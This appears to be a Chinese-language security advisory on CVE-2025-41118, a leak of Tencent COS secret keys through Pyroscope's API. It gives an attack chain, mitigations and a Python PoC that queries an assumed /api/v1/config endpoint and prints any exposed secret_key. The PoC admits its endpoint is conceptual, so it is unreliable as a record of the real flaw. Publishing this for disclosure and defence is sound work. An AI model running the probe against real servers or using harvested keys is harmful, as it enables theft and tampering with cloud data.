IPBUF安全漏洞报告
English
CVE-2025-41118 CVSS 9.1 严重

CVE-2025-41118 Pyroscope 腾讯云密钥泄露漏洞

披露日期: 2026-04-15

漏洞信息

漏洞编号
CVE-2025-41118
漏洞类型
敏感信息泄露
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Pyroscope

相关标签

信息泄露PyroscopeCOS腾讯云凭证泄露

漏洞概述

Pyroscope是一款开源的持续分析数据库,支持多种存储后端。该漏洞存在于配置腾讯云COS作为存储后端的场景中。攻击者无需认证即可通过Pyroscope API接口直接读取并提取secret_key配置值。由于该漏洞允许未经授权的访问,可能导致云存储凭证完全泄露,进而威胁存储数据的机密性和完整性。建议受影响的用户尽快升级到修复版本以消除风险。

技术细节

该漏洞的根本原因在于Pyroscope在集成腾讯云COS作为存储后端时,对敏感配置信息的访问控制存在缺陷。当数据库实例配置了Tencent Cloud COS,系统会将secret_key等敏感凭证加载至运行时配置中。由于API接口缺乏必要的权限校验机制,攻击者可以通过网络向量(AV:N)直接向Pyroscope API发送请求,从而在无需身份验证(PR:N)的情况下读取配置数据。利用此漏洞,攻击者能够提取出完整的secret_key。尽管漏洞描述主要强调了信息泄露,但获取云存储密钥往往意味着对存储数据的完全控制权,这解释了CVSS向量中完整性影响为高(I:H)的原因。攻击者利用泄露的密钥可以直接操作云端对象,导致数据被篡改或删除。受影响的版本主要集中在1.15.x、1.16.x及以下的早期发布版,官方已在后续版本中修复了此信息泄露问题。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描网络或通过资产测绘发现暴露在互联网上的Pyroscope实例。
STEP 2
2. 发起攻击
攻击者直接向Pyroscope API发送未授权的HTTP请求,目标为包含存储配置的端点。
STEP 3
3. 提取密钥
解析API返回的JSON响应,从中提取出腾讯云COS的secret_key配置值。
STEP 4
4. 后渗透利用
利用获取到的secret_key直接访问腾讯云COS存储桶,读取、修改或删除敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # PoC for CVE-2025-41118: Pyroscope Tencent COS Secret Key Disclosure # This script attempts to retrieve the secret_key from a vulnerable Pyroscope instance. def check_vulnerability(target_url): # The specific endpoint might vary based on configuration, # often exposed via API configuration or debug endpoints. # This is a conceptual PoC based on the vulnerability description. api_endpoint = f"{target_url.rstrip('/')}/api/v1/config" try: response = requests.get(api_endpoint, timeout=10) if response.status_code == 200: data = response.json() # Check if storage configuration contains Tencent COS keys if 'storage' in data or 'tencent' in str(data).lower(): print(f"[+] Potential configuration exposed at {api_endpoint}") print(f"[+] Response Data: {data}") # Attempt to find secret_key pattern (heuristic) if 'secret_key' in str(data): print("[!!] CRITICAL: secret_key potentially leaked!") return True else: print(f"[-] Endpoint returned status code: {response.status_code}") except Exception as e: print(f"[-] Error connecting to target: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python poc.py <http://target-pyroscope-url>") else: check_vulnerability(sys.argv[1])

影响范围

Pyroscope < 1.15.2
Pyroscope 1.16.0

防御指南

临时缓解措施
在未升级补丁前,请务必通过网络ACL或防火墙规则限制对Pyroscope数据库API的外部访问,确保仅受信任的用户或内部系统能够与其通信。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表